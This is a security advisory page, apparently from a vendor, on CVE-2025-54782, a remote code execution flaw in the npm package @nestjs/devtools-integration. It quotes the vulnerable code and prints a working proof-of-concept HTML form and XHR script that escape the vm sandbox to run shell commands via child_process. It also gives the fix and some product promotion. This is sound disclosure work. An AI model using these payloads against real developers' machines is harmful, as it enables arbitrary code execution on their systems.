CVE-2025-54782

CVE-2025-54782 is a critical-severity command injection vulnerability in @nestjs/devtools-integration (npm), affecting versions <= 0.2.0. It is fixed in 0.2.1.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

@nestjs/devtools-integration: CSRF to Sandbox Escape Allows for RCE against JS Developers

A critical Remote Code Execution (RCE) vulnerability was discovered in the @nestjs/devtools-integration package. When enabled, the package exposes a local development HTTP server with an API endpoint that uses an unsafe JavaScript sandbox (safe-eval-like implementation). Due to improper sandboxing and missing cross-origin protections, any malicious website visited by a developer can execute arbitrary code on their local machine.

A full blog post about how this vulnerability was uncovered can be found on Socket's blog.

Details

The @nestjs/devtools-integration package adds HTTP endpoints to a locally running NestJS development server. One of these endpoints, /inspector/graph/interact, accepts JSON input containing a code field and executes the provided code in a Node.js vm.runInNewContext sandbox.

Key issues:

  1. Unsafe Sandbox: The sandbox implementation closely resembles the abandoned safe-eval library. The Node.js vm module is explicitly documented as not providing a security mechanism for executing untrusted code. Numerous known sandbox escape techniques allow arbitrary code execution.
  2. Lack of Proper CORS/Origin Checking: The server sets Access-Control-Allow-Origin to a fixed domain (https://devtools.nestjs.com) but does not validate the request's Origin or Content-Type. Attackers can craft POST requests with text/plain content type using HTML forms or simple XHR requests, bypassing CORS preflight checks.

By chaining these issues, a malicious website can trigger the vulnerable endpoint and achieve arbitrary code execution on a developer's machine running the NestJS devtools integration.

Relevant code from the package:

// Vulnerable request handler
handleGraphInteraction(req, res) {
  if (req.method === 'POST') {
    let body = '';
    req.on('data', data => { body += data; });
    req.on('end', async () => {
      res.writeHead(200, { 'Content-Type': 'application/plain' });
      const json = JSON.parse(body);
      await this.sandboxedCodeExecutor.execute(json.code, res);
    });
  }
}

// Vulnerable sandbox implementation
runInNewContext(code, context, opts) {
  const sandbox = {};
  const resultKey = 'SAFE_EVAL_' + Math.floor(Math.random() * 1000000);
  sandbox[resultKey] = {};
  const ctx = `
    (function() {
      Function = undefined;
      const keys = Object.getOwnPropertyNames(this).concat(['constructor']);
      keys.forEach((key) => {
        const item = this[key];
        if (!item || typeof item.constructor !== 'function') return;
        this[key].constructor = undefined;
      });
    })();
  `;
  code = ctx + resultKey + '=' + code;
  if (context) {
    Object.keys(context).forEach(key => { sandbox[key] = context[key]; });
  }
  vm.runInNewContext(code, sandbox, opts);
  return sandbox[resultKey];
}

Because the sandbox can be trivially escaped, and the endpoint accepts cross-origin POST requests without proper checks, this vulnerability allows arbitrary code execution on the developer's machine.

PoC

Create a minimal NestJS project and enable @nestjs/devtools-integration in development mode:

npm install @nestjs/devtools-integration
npm run start:dev

Use the following HTML form on any malicious website:

<form action="http://localhost:8000/inspector/graph/interact" method="POST" enctype="text/plain">
  <input name="{&quot;code&quot;:&quot;(function(){try{propertyIsEnumerable.call()}catch(pp){pp.constructor.constructor('return process')().mainModule.require('child_process').execSync('open /System/Applications/Calculator.app')}})()&quot;,&quot;bogus&quot;:&quot;" value="&quot;}" />
  <input type="submit" value="Exploit" />
</form>

When the developer visits the page and submits the form, the local NestJS devtools server executes the injected code, in this case launching the Calculator app on macOS.

Alternatively, the same payload can be sent via a simple XHR request with text/plain content type:

<button onclick="sendPopCalculatorXHR()">Send pop calculator XHR Request</button>
<script>
    function sendPopCalculatorXHR() {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http://localhost:8000/inspector/graph/interact");
        xhr.withCredentials = false;
        xhr.setRequestHeader("Content-Type", "text/plain");
        xhr.send('{"code":"(function() { try{ propertyIsEnumerable.call(); } catch(pp){ pp.constructor.constructor(\'return process\')().mainModule.require(\'child_process\').execSync(\'open /System/Applications/Calculator.app\'); } })()"}');
    }
</script>

Full POC

Minimal reproducer: https://github.com/JLLeitschuh/nestjs-typescript-starter-w-devtools-integration

Steps to reproduce:

  1. Clone Repo https://github.com/JLLeitschuh/nestjs-typescript-starter-w-devtools-integration
  2. Run NPM install
  3. Run npm run start:dev
  4. Open up the POC site here: https://jlleitschuh.org/nestjs-devtools-integration-rce-poc/
  5. Try out any of the POC payloads.

Source for the nestjs-devtools-integration-rce-poc: https://github.com/JLLeitschuh/nestjs-devtools-integration-rce-poc

Credit

This vulnerability was uncovered by @JLLeitschuh on behalf of Socket.

Impact

This vulnerability is a Remote Code Execution (RCE) affecting developers running a NestJS project with @nestjs/devtools-integration enabled. An attacker can exploit it by luring a developer to visit a malicious website, which then sends a crafted POST request to the local devtools HTTP server. This results in arbitrary code execution on the developer’s machine.

  • Severity: Critical
  • Attack Complexity: Low (requires only that the victim visits a malicious webpage, or be served malvertising)
  • Privileges Required: None
  • User Interaction: Minimal (no clicks required)

Untrusted input is inserted into a command that is later executed by the application, allowing the attacker to alter the intent of that command. Typical impact: arbitrary command execution in the application's environment.

Affected versions

@nestjs/devtools-integration (<= 0.2.0)

Security releases

@nestjs/devtools-integration → 0.2.1 (npm)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

The maintainers remediated this issue by:

  • Replacing the unsafe sandbox implementation with a safer alternative (@nyariv/sandboxjs).
  • Adding origin and content-type validation to incoming requests.
  • Introducing authentication for the devtools connection.

Users should upgrade to the patched version of @nestjs/devtools-integration as soon as possible.

Frequently Asked Questions

  1. What is CVE-2025-54782? CVE-2025-54782 is a critical-severity command injection vulnerability in @nestjs/devtools-integration (npm), affecting versions <= 0.2.0. It is fixed in 0.2.1. Untrusted input is inserted into a command that is later executed by the application, allowing the attacker to alter the intent of that command.
  2. Which versions of @nestjs/devtools-integration are affected by CVE-2025-54782? @nestjs/devtools-integration (npm) versions <= 0.2.0 is affected.
  3. Is there a fix for CVE-2025-54782? Yes. CVE-2025-54782 is fixed in 0.2.1. Upgrade to this version or later.
  4. Is CVE-2025-54782 exploitable, and should I be worried? Whether CVE-2025-54782 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  5. What actually determines whether CVE-2025-54782 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  6. How do I fix CVE-2025-54782? Upgrade @nestjs/devtools-integration to 0.2.1 or later.

Stop the waste.
Protect your environment with Kodem.